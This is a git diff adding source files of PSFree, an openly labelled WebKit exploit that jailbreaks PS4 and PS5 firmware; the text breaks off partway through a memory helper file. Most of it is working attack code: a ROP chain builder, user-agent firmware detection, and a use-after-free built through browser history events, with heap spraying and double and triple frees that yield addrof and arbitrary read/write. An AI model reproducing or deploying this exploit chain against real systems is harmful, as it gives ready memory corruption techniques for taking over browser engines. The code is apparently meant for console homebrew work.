533, + 'jitshm_alias' : 534, +})); + +// Extra space to allow a ROP chain to push temporary values. It must pop all +// of it before reaching a "ret" instruction, else the instruction will pop one +// of the temporaries as its return address. +// +// Also space for additional frames when we call a function since we do not +// pivot the call to another stack (the called function's stack pointer is +// pointing to our ROP stack as well). +const upper_pad = 0x10000; +// maximum size of the ROP stack +const stack_size = 0x10000; +const total_size = upper_pad + stack_size; + +const argument_pops = [ + 'pop rdi; ret', + 'pop rsi; ret', + 'pop rdx; ret', + 'pop rcx; ret', + 'pop r8; ret', + 'pop r9; ret', +]; + +export class ChainBase { + constructor() { + this.is_stale = false; + this.position = 0; + this._return_value = new Uint8Array(8); + this.retval_addr = get_view_vector(this._return_value); + + const stack_buffer = new ArrayBuffer(total_size); + this.stack_buffer = stack_buffer; + this.stack = new Uint8Array(stack_buffer, upper_pad, stack_size); + this.stack_addr = get_view_vector(this.stack); + } + + check_stale() { + if (this.is_stale) { + throw Error('chain already ran, clean it first'); + } + this.is_stale = true; + } + + check_is_empty() { + if (this.position === 0) { + throw Error('chain is empty'); + } + } + + clean() { + this.position = 0; + this.is_stale = false; + } + + // this will raise an error if the value is not an Int + push_value(value) { + if (this.position >= stack_size) { + throw Error(`no more space on the stack, pushed value: ${value}`); + } + write64(this.stack, this.position, value); + this.position += 8; + } + + // converts value to Int first + push_constant(value) { + this.push_value(new Int(value)); + } + + get_gadget(insn_str) { + const addr = this.gadgets.get(insn_str); + if (addr === undefined) { + throw Error(`gadget not found: ${insn_str}`); + } + + return addr; + } + + push_gadget(insn_str) { + this.push_value(this.get_gadget(insn_str)); + } + + push_call(func_addr, ...args) { + if (args.length > 6) { + throw TypeError( + 'call() does not support functions that have more than 6' + + ' arguments' + ); + } + + for (let i = 0; i < args.length; i++) { + this.push_gadget(argument_pops[i]); + this.push_constant(args[i]); + } + + // The address of our buffer seems to be always aligned to 8 bytes. + // SysV calling convention requires the stack is aligned to 16 bytes on + // function entry, so push an additional 8 bytes to pad the stack. We + // pushed a "ret" gadget for a noop. + if ((this.position & (0x10 - 1)) !== 0) { + this.push_gadget('ret'); + } + + this.push_value(func_addr); + } + + push_syscall(syscall_name, ...args) { + if (typeof syscall_name !== 'string') { + throw TypeError(`syscall_name not a string: ${syscall_name}`); + } + + const sysno = syscall_map.get(syscall_name); + if (sysno === undefined) { + throw Error(`syscall_name not found: ${syscall_name}`); + } + + const syscall_addr = this.syscall_array[sysno]; + if (syscall_addr === undefined) { + throw Error(`syscall number not in syscall_array: ${sysno}`); + } + + this.push_call(syscall_addr, ...args); + } + + // ROP chain to retrieve rax + push_get_retval() { + throw Error('push_get_retval() not implemented'); + } + + // Firmware specific method to launch a ROP chain + // + // Implementations must call check_stale() and check_is_empty() before + // trying to launch the chain. + run() { + throw Error('run() not implemented'); + } + + get return_value() { + return read64(this._return_value, 0); + } + + // Sets needed class properties + // + // Args: + // gadgets: + // A Map-like object mapping instruction strings (e.g "pop rax; ret") + // to their addresses in memory. + // syscall_array: + // An array whose indices correspond to syscall numbers. Maps syscall + // numbers to their addresses in memory. Defaults to an empty Array. + // + // Raises: + // Error: + // For missing bare minimum gadgets + static init_class(gadgets, syscall_array=[]) { + for (const insn of argument_pops) { + if (!gadgets.has(insn)) { + throw Error(`gadget map must contain this gadget: ${insn}`); + } + } + this.prototype.gadgets = gadgets; + this.prototype.syscall_array = syscall_array; + } +} diff --git a/restore/900L/config.mjs b/restore/900L/config.mjs new file mode 100644 index 0000000..483018c --- /dev/null +++ b/restore/900L/config.mjs @@ -0,0 +1,100 @@ +/* Copyright (C) 2023 anonymous + +This file is part of PSFree. + +PSFree is free software: you can redistribute it and/or modify +it under the terms of the GNU Affero General Public License as +published by the Free Software Foundation, either version 3 of the +License, or (at your option) any later version. + +PSFree is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU Affero General Public License for more details. + +You should have received a copy of the GNU Affero General Public License +along with this program. If not, see . */ + +// webkitgtk 2.34.4 was used to develop the portable parts of the exploit +// before moving on to ps4 8.03 +// +// webkitgtk 2.34.4 was built with cmake variable ENABLE_JIT=OFF, that variable +// can affect the size of SerializedScriptValue +// +// this target is no longer supported +// +//export const gtk_2_34_4 = 0; + +// the original target platform was 8.03, this version confirmed works on ps4 +// 7.xx-8.xx +export const ps4_8_03 = 1; + +// this version for 9.xx +export const ps4_9_00 = 2; + +// version 9.xx is for ps5 1.xx-5.xx as well +export const ps5_5_00 = ps4_9_00; + +// this version for 6.50-6.72 +export const ps4_6_50 = 3; + +// this version for 6.00-6.20 +export const ps4_6_00 = 4; + +export function set_target(value) { + switch (value) { + case ps4_8_03: + case ps4_9_00: + case ps4_6_00: + case ps4_6_50: { + break; + } + default: { + throw RangeError('invalid target: ' + target); + } + } + + target = value; +} + +function DetectFirmwareVersion() +{ + var UA = navigator.userAgent.substring(navigator.userAgent.indexOf('5.0 (') + 19, navigator.userAgent.indexOf(') Apple')).replace("PlayStation 4/",""); + + if (UA == "6.00" || UA == "6.02" || UA == "6.10" || UA == "6.20") + { + return ps4_6_00; + } + + if (UA == "6.50" || UA == "6.70" || UA == "6.71" || UA == "6.72") + { + return ps4_6_50; + } + + if (UA == "7.01" || UA == "7.02" || UA == "7.50" || UA == "7.51" || UA == "7.55" || UA == "8.00" || UA == "8.01" || UA == "8.03" || UA == "8.50" || UA == "8.51") + { + return ps4_8_03; + } + + //on 9.00 Fw deection changed to laystation insead of regular Playstation + UA = navigator.userAgent.substring(navigator.userAgent.indexOf('5.0 (') + 19, navigator.userAgent.indexOf(') Apple')).replace("layStation 4/",""); + + + if (UA == "9.00" || UA == "9.03" || UA == "9.04" || UA == "9.50" || UA == "9.51" || UA == "9.60") + { + return ps4_9_00; + } + + //get user agent for PS5 (taken from PS5 Specter Exploit Host) + const supportedFirmwares = ["1.00","1.01","1.02","1.05","1.12","1.14","2.00","2.10","2.20","2.25","2.26","2.30","2.50","2.70","3.00","3.10","3.20","3.21","4.00", "4.02", "4.03", "4.50", "4.51","5.00","5.02","5.10","5.50"]; + const fw_idx = navigator.userAgent.indexOf('PlayStation; PlayStation 5/') + 27; + const fw_str = navigator.userAgent.substring(fw_idx, fw_idx + 4); + + if (supportedFirmwares.includes(fw_str)) + { + return ps5_5_00; + } + +} + +export let target = DetectFirmwareVersion(); diff --git a/restore/900L/constants.mjs b/restore/900L/constants.mjs new file mode 100644 index 0000000..268f079 --- /dev/null +++ b/restore/900L/constants.mjs @@ -0,0 +1,20 @@ +/* Copyright (C) 2023 anonymous + +This file is part of PSFree. + +PSFree is free software: you can redistribute it and/or modify +it under the terms of the GNU Affero General Public License as +published by the Free Software Foundation, either version 3 of the +License, or (at your option) any later version. + +PSFree is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU Affero General Public License for more details. + +You should have received a copy of the GNU Affero General Public License +along with this program. If not, see . */ + +export const KB = 1024; +export const MB = KB * KB; +export const GB = KB * KB * KB; diff --git a/restore/900L/exploit.mjs b/restore/900L/exploit.mjs new file mode 100644 index 0000000..d7d3283 --- /dev/null +++ b/restore/900L/exploit.mjs @@ -0,0 +1,756 @@ +/* Copyright (C) 2023-2024 anonymous + +This file is part of PSFree. + +PSFree is free software: you can redistribute it and/or modify +it under the terms of the GNU Affero General Public License as +published by the Free Software Foundation, either version 3 of the +License, or (at your option) any later version. + +PSFree is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU Affero General Public License for more details. + +You should have received a copy of the GNU Affero General Public License +along with this program. If not, see . */ + +import * as config from './config.mjs'; + +import { + read32, + read64, + write32, + write64, + sread64, +} from './rw.mjs'; + +import * as o from './offset.mjs'; + +import { Int } from './int64.mjs'; +import { Memory } from './mem.mjs'; + +import { + die, + debug_log, + clear_log, + str2array, +} from './utils.mjs'; + +const ssv_len = (() => { + switch (config.target) { + case config.ps4_6_00: { + return 0x58; + } + case config.ps4_9_00: { + return 0x50; + } + case config.ps4_6_50: + case config.ps4_8_03: { + return 0x48; + } + default: { + throw RangeError('invalid config.target: ' + config.target); + } + } +})(); + +const num_reuse = 0x4000; + +// size of JSArrayBufferView +const original_strlen = ssv_len - o.size_strimpl; +const buffer_len = 0x20; +// make sure this is large enough to ensure that enough strings will +// occupy any gaps in in the relative read area so when are trying to leak the +// JSArrayBufferView we won't hit any unmapped areas +const num_str = 0x4000; +const num_gc = 30; +const num_space = 19; +const original_loc = window.location.pathname; +const loc = original_loc + '#foo'; + +// this variable has to be global for the leak to work +let rstr = null; +// this variable has to be global so that the exploit is more likely to succeed +let view_leak_arr = []; +// These variables need to be global because we theorize there are +// optimizations between local and global variables. +// We don't know what optimizations these are but it is messing with us. + +// contents of the JSArrayBufferView +// 3rd element is the address of the buffer of the JSArrayBufferView +let jsview = []; + +// object for saving values +let s1 = {views : []}; +let view_leak = null; + +let input = document.body.appendChild(document.createElement("input")); +let foo = document.body.appendChild(document.createElement("a")); +foo.id = "foo"; + +// The theory is that the allocator and garbage collector (GC) cooperate in +// serving allocation requests. The GC knows if there are any garbage that can +// be collected, to free up memory for requests. If the allocator can't serve a +// request, it will ask the GC to perform a garbage collection. +// +// If even after a garbage colllection, there is still no memory left for +// allocation, then the process will request the operating system to increase +// its heap size. +// +// We loop a couple of times by num_loop in allocating memory and dropping +// references to it. Even though we dropped the references immediately, memory +// consumption will still grow, since garbage is not immediately collected. +// Hopefully one of the requests will force the allocator to yield to the GC. +let pressure = null; +function gc(num_loop) { + pressure = Array(100); + for (let i = 0; i < num_loop; i++) { + for (let i = 0; i < pressure.length; i++) { + pressure[i] = new Uint32Array(0x40000); + } + pressure = Array(100); + } + pressure = null; +} + +function sleep(ms) { + return new Promise(resolve => setTimeout(resolve, ms)); +} + +function prepare_uaf() { + // don't want any state0 near state1 + history.pushState('state0', ''); + for (let i = 0; i < num_space; i++) { + history.replaceState('state0', ''); + } + + history.replaceState("state1", "", loc); + + // don't want any state2 near state1 + history.pushState("state2", ""); + for (let i = 0; i < num_space; i++) { + history.replaceState("state2", ""); + } +} + +function free(save) { + // We replace the URL with the original so the user can rerun the exploit + // via a reload. If we don't then the exploit will append another "#foo" to + // the URL and the input element will not be blurred because the foo + // element won't be scrolled to during history.back(). + history.replaceState('state3', '', original_loc); + + for (let i = 0; i < num_reuse; i++) { + let view = new Uint8Array(new ArrayBuffer(ssv_len)); + for (let i = 0; i < view.length; i++) { + view[i] = 0x41; + } + save.views.push(view); + } +} + +function check_spray(views) { + if (views.length !== num_reuse) { + debug_log(`views.length: ${views.length}`); + die('views.length !== num_reuse, restart the entire exploit'); + } + + for (let i = 0; i < num_reuse; i++) { + if (views[i][0] !== 0x41) { + return i; + } + } + return null; +} + +async function use_after_free(pop_func, save) { + const pop_promise = new Promise((resolve, reject) => { + function pop_wrapper(event) { + try { + pop_func(event, save); + } catch (e) { + reject(e); + } + resolve(); + } + addEventListener("popstate", pop_wrapper, {once:true}); + }); + + prepare_uaf(); + + let num_free = 0; + function onblur() { + if (num_free > 0) { + die('multiple free()s, restart the entire exploit'); + } + free(save); + num_free++; + } + + input.onblur = onblur; + await new Promise((resolve) => { + input.addEventListener('focus', resolve, {once:true}); + input.focus(); + }); + history.back(); + + await pop_promise; +} + +// get arbitrary read +async function setup_ar(save) { + const view = save.ab; + + // set refcount to 1, all other fields to 0/NULL + view[0] = 1; + for (let i = 1; i < view.length; i++) { + view[i] = 0; + } + + delete save.views; + delete save.pop; + gc(num_gc); + debug_log('setup_ar() gc done'); + + // Extra sleep if the object hasn't been collected yet, this is to allow + // the garbage collector to preempt us. Keeping the call to gc() lowers the + // average total sleep time. + let total_sleep = 0; + const num_sleep = 8; + // Don't sleep for 9.xx. Tests show it is slower. This check and the sleep + // before double_free() make setup_ar() fast for 9.xx. + while (true && config.target !== config.ps4_9_00) { + await sleep(num_sleep); + total_sleep += num_sleep; + + if (view[0] !== 1) { + break; + } + } + debug_log(`total_sleep: ${total_sleep}`); + // log to check if the garbage collector did collect PopStateEvent + // must not log "1, 0, 0, 0, ..." + debug_log(view); + + let num_spray = 0; + while (true) { + const obj = {}; + num_spray++; + + for (let i = 0; i < num_str; i++) { + let str = new String( + 'B'.repeat(original_strlen - 5) + + i.toString().padStart(5, '0') + ); + obj[str] = 0x1337; + } + + if (view[o.strimpl_inline_str] === 0x42) { + write32(view, o.strimpl_strlen, 0xffffffff); + } else { + continue; + } + + let found = false; + const str_arr = Object.getOwnPropertyNames(obj); + for (let i = 0; i < str_arr.length; i++) { + if (str_arr[i].length > 0xff) { + rstr = str_arr[i]; + found = true; + debug_log('confirmed correct leaked'); + debug_log(`str len: ${rstr.length}`); + debug_log(view); + debug_log(`read address: ${read64(view, o.strimpl_m_data)}`); + break; + } + } + if (!found) { + continue; + } + + debug_log(`num_spray: ${num_spray}`); + return; + } +} + +async function double_free(save) { + const view = save.ab; + + await setup_ar(save); + + // Spraying JSArrayBufferViews + debug_log('spraying views'); + let buffer = new ArrayBuffer(buffer_len); + let tmp = []; + const num_alloc = 0x10000; + const num_threshold = 0xfc00; + const num_diff = num_alloc - num_threshold; + for (let i = 0; i < num_alloc; i++) { + // The last allocated are more likely to be allocated after our relative read + if (i >= num_threshold) { + view_leak_arr.push(new Uint8Array(buffer)); + } else { + tmp.push(new Uint8Array(buffer)); + } + } + tmp = null; + debug_log('done spray views'); + + // Force JSC ref on FastMalloc Heap + // https://github.com/Cryptogenic/PS4-5.05-Kernel-Exploit/blob/master/expl.js#L151 + let props = []; + for (let i = 0; i < num_diff; i++) { + props.push({ value: 0x43434343 }); + props.push({ value: view_leak_arr[i] }); + } + + debug_log('start find leak'); + // + // /!\ + // This part must avoid as much as possible fastMalloc allocation + // to avoid re-using the targeted object + // /!\ + // + // Use relative read to find our JSC obj + // We want a JSArrayBufferView that is allocated after our relative read + search: while (true) { + Object.defineProperties({}, props); + for (let i = 0; i < 0x800000; i++) { + let v = null; + if (rstr.charCodeAt(i) === 0x43 && + rstr.charCodeAt(i + 1) === 0x43 && + rstr.charCodeAt(i + 2) === 0x43 && + rstr.charCodeAt(i + 3) === 0x43 + ) { + // check if PropertyDescriptor + if (rstr.charCodeAt(i + 0x08) === 0x00 && + rstr.charCodeAt(i + 0x0f) === 0x00 && + rstr.charCodeAt(i + 0x10) === 0x00 && + rstr.charCodeAt(i + 0x17) === 0x00 && + rstr.charCodeAt(i + 0x18) === 0x0e && + rstr.charCodeAt(i + 0x1f) === 0x00 && + rstr.charCodeAt(i + 0x28) === 0x00 && + rstr.charCodeAt(i + 0x2f) === 0x00 && + rstr.charCodeAt(i + 0x30) === 0x00 && + rstr.charCodeAt(i + 0x37) === 0x00 && + rstr.charCodeAt(i + 0x38) === 0x0e && + rstr.charCodeAt(i + 0x3f) === 0x00 + ) { + v = str2array(rstr, 8, i + 0x20); + // check if array of JSValues pointed by m_buffer + } else if (rstr.charCodeAt(i + 0x10) === 0x43 && + rstr.charCodeAt(i + 0x11) === 0x43 && + rstr.charCodeAt(i + 0x12) === 0x43 && + rstr.charCodeAt(i + 0x13) === 0x43) { + v = str2array(rstr, 8, i + 8); + } + } + if (v !== null) { + view_leak = new Int(v); + break search; + } + } + } + // + // /!\ + // Critical part ended-up here + // /!\ + // + debug_log('end find leak'); + debug_log('view addr ' + view_leak); + + let rstr_addr = read64(view, o.strimpl_m_data); + write64(view, o.strimpl_m_data, view_leak); + for (let i = 0; i < 4; i++) { + jsview.push(sread64(rstr, i*8)); + } + write64(view, o.strimpl_m_data, rstr_addr); + write32(view, o.strimpl_strlen, original_strlen); + debug_log('contents of JSArrayBufferView'); + debug_log(jsview); +} + +function find_leaked_view(rstr, view_rstr, view_m_vector, view_arr) { + const old_m_data = read64(view_rstr, o.strimpl_m_data); + + let res = null; + write64(view_rstr, o.strimpl_m_data, view_m_vector); + for (const view of view_arr) { + const magic = 0x41424344; + write32(view, 0, magic); + + if (sread64(rstr, 0).low() === magic) { + res = view; + break; + } + } + write64(view_rstr, o.strimpl_m_data, old_m_data); + + if (res === null) { + die('not found'); + } + return res; +} + + +class Reader { + // leaker will be the view whose address we leaked + constructor(rstr, view_rstr, leaker, leaker_addr) { + this.rstr = rstr; + this.view_rstr = view_rstr; + this.leaker = leaker; + this.leaker_addr = leaker_addr; + this.old_m_data = read64(view_rstr, o.strimpl_m_data); + + // Create a butterfy with the "a" property as the first. leaker is a + // JSArrayBufferView. Instances of that class don't have inlined + // properties and the butterfly is immediately created. + leaker.a = 0; // dummy value, we just want to create the "a" property + } + + addrof(obj) { + if (typeof obj !== 'object' + && typeof obj !== 'function' + ) { + throw TypeError('addrof argument not a JS object'); + } + + this.leaker.a = obj; + + // no need to modify the length, original_strlen is large enough + write64(this.view_rstr, o.strimpl_m_data, this.leaker_addr); + + const butterfly = sread64(this.rstr, o.js_butterfly); + write64(this.view_rstr, o.strimpl_m_data, butterfly.sub(0x10)); + + const res = sread64(this.rstr, 0); + + write64(this.view_rstr, o.strimpl_m_data, this.old_m_data); + return res; + } + + get_view_vector(view) { + if (!ArrayBuffer.isView(view)) { + throw TypeError(`object not a JSC::JSArrayBufferView: ${view}`); + } + + write64(this.view_rstr, o.strimpl_m_data, this.addrof(view)); + const res = sread64(this.rstr, o.view_m_vector); + + write64(this.view_rstr, o.strimpl_m_data, this.old_m_data); + return res; + } +} + +// data to write to the SerializedScriptValue +// +// Setup to make deserialization create an ArrayBuffer with its buffer address +// pointing to a JSArrayBufferView (worker). +// +// TypedArrays (JSArrayBufferView) created via "new TypedArray(x)" where x <= +// 1000 (fastSizeLimit) have ther buffers allocated on the JavaScript heap +// (m_mode = FastTypedArray). Requesting the buffer property ("view.buffer") +// (calls possiblySharedBuffer()) of such a view will allocate a new buffer on +// the fastMalloc heap, the contents of the old one will be copied. This will +// change the m_vector field, so care must be taken if you cache the result of +// get_view_vector(), you must call it again to get the updated field. +// +// See enum TypedArrayMode from +// WebKit/Source/JavaScriptCore/runtime/JSArrayBufferView.h and +// possiblySharedBuffer() from +// WebKit/Source/JavaScriptCore/runtime/JSArrayBufferViewInlines.h at PS4 8.03. +function setup_ssv_data(reader) { + const r = reader; + // sizeof WTF::Vector + const size_vector = 0x10; + // sizeof JSC::ArrayBufferContents + const size_abc = config.target === config.ps4_9_00 ? 0x18 : 0x20; + + // WTF::Vector + const m_data = new Uint8Array(size_vector); + const data = new Uint8Array(9); + + // m_buffer + write64(m_data, 0, r.get_view_vector(data)); + // m_capacity + write32(m_data, 8, data.length); + // m_size + write32(m_data, 0xc, data.length); + + // 6 is the serialization format version number for ps4 6.00. The format + // is backwards compatible and using a value less than the current version + // number used by a specific WebKit version is considered valid. + // + // See CloneDeserializer::isValid() from + // WebKit/Source/WebCore/bindings/js/SerializedScriptValue.cpp at PS4 8.03. + const CurrentVersion = 6; + const ArrayBufferTransferTag = 23; + write32(data, 0, CurrentVersion); + data[4] = ArrayBufferTransferTag; + write32(data, 5, 0); + + // WTF::Vector + const abc_vector = new Uint8Array(size_vector); + // JSC::ArrayBufferContents + const abc = new Uint8Array(size_abc); + + write64(abc_vector, 0, r.get_view_vector(abc)); + write32(abc_vector, 8, 1); + write32(abc_vector, 0xc, 1); + + // m_mode = WastefulTypedArray, allocated buffer on the fastMalloc heap, + // unlike FastTypedArray, where the buffer is managed by the GC. This + // prevents random crashes. + // + // See JSGenericTypedArrayView::visitChildren() from + // WebKit/Source/JavaScriptCore/runtime/JSGenericTypedArrayViewInlines.h at + // PS4 8.03. + const worker = new Uint8Array(new ArrayBuffer(1)); + + if (config.target !== config.ps4_9_00) { + // m_destructor + write64(abc, 0, Int.Zero); + // m_shared + write64(abc, 8, Int.Zero); + // m_data + write64(abc, 0x10, r.addrof(worker)); + // m_sizeInBytes + write32(abc, 0x18, o.size_view); + } else { + // m_data + // m_data + write64(abc, 0, r.addrof(worker)); + // m_destructor + write64(abc, 8, Int.Zero); + // m_shared + write64(abc, 0xe, Int.Zero); + // m_sizeInBytes + write32(abc, 0x14, o.size_view); + } + + return { + m_data, + m_arrayBufferContentsArray : r.get_view_vector(abc_vector), + worker, + // keep a reference to prevent garbage collection + nogc : [ + data, + abc_vector, + abc, + ], + }; +} + +// get arbitrary read/write +async function setup_arw(save, ssv_data) { + const num_msg = 1000; + const view = save.ab; + let msgs = []; + + function onmessage(event) { + msgs.push(event); + } + addEventListener('message', onmessage); + + // Free the StringImpl so we can spray SerializedScriptValues over the + // buffer of the view. The StringImpl is safe to free since we fixed it up + // earlier. + rstr = null; + while (true) { + for (let i = 0; i < num_msg; i++) { + postMessage('', origin); + } + + while (msgs.length !== num_msg) { + await sleep(100); + } + + if (view[o.strimpl_inline_str] !== 0x42) { + break; + } + + msgs = []; + } + removeEventListener('message', onmessage); + + debug_log('view contents:'); + for (let i = 0; i < ssv_len; i += 8) { + debug_log(read64(view, i)); + } + + // save SerializedScriptValue + const copy = []; + for (let i = 0; i < view.length; i++) { + copy.push(view[i]); + } + + const {m_data, m_arrayBufferContentsArray, worker, nogc} = ssv_data; + write64(view, 8, read64(m_data, 0)); + write64(view, 0x10, read64(m_data, 8)); + write64(view, 0x18, m_arrayBufferContentsArray); + + for (const msg of msgs) { + if (msg.data !== '') { + //alert('achieved arbitrary r/w'); + debug_log('achieved arbitrary r/w'); + + const u = new Uint8Array(msg.data); + debug_log('deserialized ArrayBuffer:'); + for (let i = 0; i < o.size_view; i += 8) { + debug_log(read64(u, i)); + } + + const mem = new Memory(u, worker); + + window.p = { + read1(addr) { + addr = new Int(addr.low, addr.hi); + const res = mem.read8(addr); + return res; + }, + + read2(addr) { + addr = new Int(addr.low, addr.hi); + const res = mem.read16(addr); + return res; + }, + + read4(addr) { + addr = new Int(addr.low, addr.hi); + const res = mem.read32(addr); + return res; + }, + + read8(addr) { + addr = new Int(addr.low, addr.hi); + const res = mem.read64(addr); + return new int64(res.low(), res.high()); + }, + + write1(addr, value) { + addr = new Int(addr.low, addr.hi); + mem.write8(addr, value); + }, + + write2(addr, value) { + addr = new Int(addr.low, addr.hi); + mem.write16(addr, value); + }, + + write4(addr, value) { + addr = new Int(addr.low, addr.hi); + mem.write32(addr, value); + }, + + write8(addr, value) { + addr = new Int(addr.low, addr.hi); + if (value instanceof int64) { + value = new Int(value.low, value.hi); + mem.write64(addr, value); + } else { + mem.write64(addr, new Int(value)); + } + + }, + + leakval(obj) { + const res = mem.addrof(obj); + return new int64(res.low(), res.high()); + } + }; + + // restore SerializedScriptValue + view.set(copy); + + // cleanup + view_leak_arr = null; + view_leak = null; + jsview = null; + input = null; + foo = null; + + // Before s1.ab gets garbage collected and its underlying buffer + // on the fastMalloc heap is freed, another object could be + // allocated in the meantime. That object could be freed + // prematurely once the GC occurs. This could corrupt the object + // if another object is allocated in the same memory area. + // + // So we will keep s1 alive. + + return; + } + } + die('no arbitrary r/w'); +} + +// Don't create additional references to rstr, use the global variable. This +// is to make dropping all its references easy (change the value of the global +// variable). +async function triple_free( + save, + // contents of the leaked JSArrayBufferView + jsview, + view_leak_arr, + leaked_view_addr, +) { + const leaker = find_leaked_view(rstr, save.ab, jsview[2], view_leak_arr); + let r = new Reader(rstr, save.ab, leaker, leaked_view_addr); + const ssv_data = setup_ssv_data(r); + + // r contains a reference to rstr, drop it for setup_arw2() + r = null; + await setup_arw(save, ssv_data); +} + +function pop(event, save) { + let spray_res = check_spray(save.views); + if (spray_res === null) { + die('failed spray'); + } else { + save.pop = event; + save.ab = save.views[spray_res]; + debug_log('ssv len: ' + ssv_len); + debug_log('view index: ' + spray_res); + debug_log(save.ab); + } +} + +// For some reason the input element is being blurred by something else (we +// don't know what) if we execute use_after_free() before the DOMContentLoaded +// event fires. The input must only be blurred by history.back(), which will +// change the focus from the input to the foo element. +async function get_ready() { + debug_log('readyState: ' + document.readyState); + await new Promise((resolve, reject) => { + if (document.readyState !== "complete") { + document.addEventListener("DOMContentLoaded", resolve); + return; + } + resolve(); + }); +} + +async function run() { + debug_log('stage: readying'); + await get_ready(); + + debug_log('Jailbreaking..... Wait'); + await use_after_free(pop, s1); + + // we trigger the leak first because it is more likely to work + // than if it were to happen during the second ssv smashing + // on the ps4 + debug_log('Jailbreaking....... Wait'); + // * keeps setup_ar()'s total sleep even lower + // * also helps the garbage collector scheduling for 9.xx + await sleep(0); + await double_free(s1); + debug_log('Jailbreaking........... Wait'); + await triple_free(s1, jsview, view_leak_arr, view_leak); + + //clear_log(); + run_hax(); +} + +run(); diff --git a/restore/900L/int64.mjs b/restore/900L/int64.mjs new file mode 100644 index 0000000..5e9864e --- /dev/null +++ b/restore/900L/int64.mjs @@ -0,0 +1,198 @@ +/* Copyright (C) 2023 anonymous + +This file is part of PSFree. + +PSFree is free software: you can redistribute it and/or modify +it under the terms of the GNU Affero General Public License as +published by the Free Software Foundation, either version 3 of the +License, or (at your option) any later version. + +PSFree is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU Affero General Public License for more details. + +You should have received a copy of the GNU Affero General Public License +along with this program. If not, see . */ + +function check_range(x) { + return (-0x80000000 <= x) && (x <= 0xffffffff); +} + +function unhexlify(hexstr) { + if (hexstr.substring(0, 2) === "0x") { + hexstr = hexstr.substring(2); + } + if (hexstr.length % 2 === 1) { + hexstr = '0' + hexstr; + } + if (hexstr.length % 2 === 1) { + throw TypeError("Invalid hex string"); + } + + let bytes = new Uint8Array(hexstr.length / 2); + for (let i = 0; i < hexstr.length; i += 2) { + let new_i = hexstr.length - 2 - i; + let substr = hexstr.slice(new_i, new_i + 2); + bytes[i / 2] = parseInt(substr, 16); + } + + return bytes; +} + +// Decorator for Int instance operations. Takes care +// of converting arguments to Int instances if required. +function operation(f, nargs) { + return function () { + if (arguments.length !== nargs) + throw Error("Not enough arguments for function " + f.name); + let new_args = []; + for (let i = 0; i < arguments.length; i++) { + if (!(arguments[i] instanceof Int)) { + new_args[i] = new Int(arguments[i]); + } else { + new_args[i] = arguments[i]; + } + } + return f.apply(this, new_args); + }; +} + +export class Int { + constructor(low, high) { + let buffer = new Uint32Array(2); + let bytes = new Uint8Array(buffer.buffer); + + if (arguments.length > 2) { + throw TypeError('Int takes at most 2 args'); + } + if (arguments.length === 0) { + throw TypeError('Int takes at min 1 args'); + } + let is_one = false; + if (arguments.length === 1) { + is_one = true; + } + + if (!is_one) { + if (typeof (low) !== 'number' + && typeof (high) !== 'number') { + throw TypeError('low/high must be numbers'); + } + } + + if (typeof low === 'number') { + if (!check_range(low)) { + throw TypeError('low not a valid value: ' + low); + } + if (is_one) { + high = 0; + if (low < 0) { + high = -1; + } + } else { + if (!check_range(high)) { + throw TypeError('high not a valid value: ' + high); + } + } + buffer[0] = low; + buffer[1] = high; + } else if (typeof low === 'string') { + bytes.set(unhexlify(low)); + } else if (typeof low === 'object') { + if (low instanceof Int) { + bytes.set(low.bytes); + } else { + if (low.length !== 8) + throw TypeError("Array must have exactly 8 elements."); + bytes.set(low); + } + } else { + throw TypeError('Int does not support your object for conversion'); + } + + this.buffer = buffer; + this.bytes = bytes; + + this.eq = operation(function eq(b) { + const a = this; + return a.low() === b.low() && a.high() === b.high(); + }, 1); + + this.neg = operation(function neg() { + let type = this.constructor; + + let low = ~this.low(); + let high = ~this.high(); + + let res = (new Int(low, high)).add(1); + + return new type(res); + }, 0); + + this.add = operation(function add(b) { + let type = this.constructor; + + let low = this.low(); + let high = this.high(); + + low += b.low(); + let carry = 0; + if (low > 0xffffffff) { + carry = 1; + } + high += carry + b.high(); + + low &= 0xffffffff; + high &= 0xffffffff; + + return new type(low, high); + }, 1); + + this.sub = operation(function sub(b) { + let type = this.constructor; + + b = b.neg(); + + let low = this.low(); + let high = this.high(); + + low += b.low(); + let carry = 0; + if (low > 0xffffffff) { + carry = 1; + } + high += carry + b.high(); + + low &= 0xffffffff; + high &= 0xffffffff; + + return new type(low, high); + }, 1); + } + + low() { + return this.buffer[0]; + } + + high() { + return this.buffer[1]; + } + + toString(is_pretty) { + if (!is_pretty) { + let low = this.low().toString(16).padStart(8, '0'); + let high = this.high().toString(16).padStart(8, '0'); + return '0x' + high + low; + } + let high = this.high().toString(16).padStart(8, '0'); + high = high.substring(0, 4) + '_' + high.substring(4); + + let low = this.low().toString(16).padStart(8, '0'); + low = low.substring(0, 4) + '_' + low.substring(4); + return '0x' + high + '_' + low; + } +} + +Int.Zero = new Int(0); +Int.One = new Int(1); diff --git a/restore/900L/mem.mjs b/restore/900L/mem.mjs new file mode 100644 index 0000000..9532a02 --- /dev/null +++ b/restore/900L/mem.mjs @@ -0,0 +1,228 @@ +/* Copyright (C) 2023-2024 anonymous + +This file is part of PSFree. + +PSFree is free software: you can redistribute it and/or modify +it under the terms of the GNU Affero General Public License as +published by the Free Software Foundation, either version 3 of the +License, or (at your option) any later version. + +PSFree is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU Affero General Public License for more details. + +You should have received a copy of the GNU Affero General Public License +along with this program. If not, see . */ + +import { Int } from './int64.mjs'; +import { + read16, + read32, + read64, + write16, + write32, + write64, +} from './rw.mjs'; +import * as o from './offset.mjs'; + +export let mem = null; + +function init_module(memory) { + mem = memory; +} + +export class Addr extends Int { + read8(offset) { + const addr = this.add(offset); + return mem.read8(addr); + } + + read16(offset) { + const addr = this.add(offset); + return mem.read16(addr); + } + + read32(offset) { + const addr = this.add(offset); + return mem.read32(addr); + } + + read64(offset) { + const addr = this.add(offset); + return 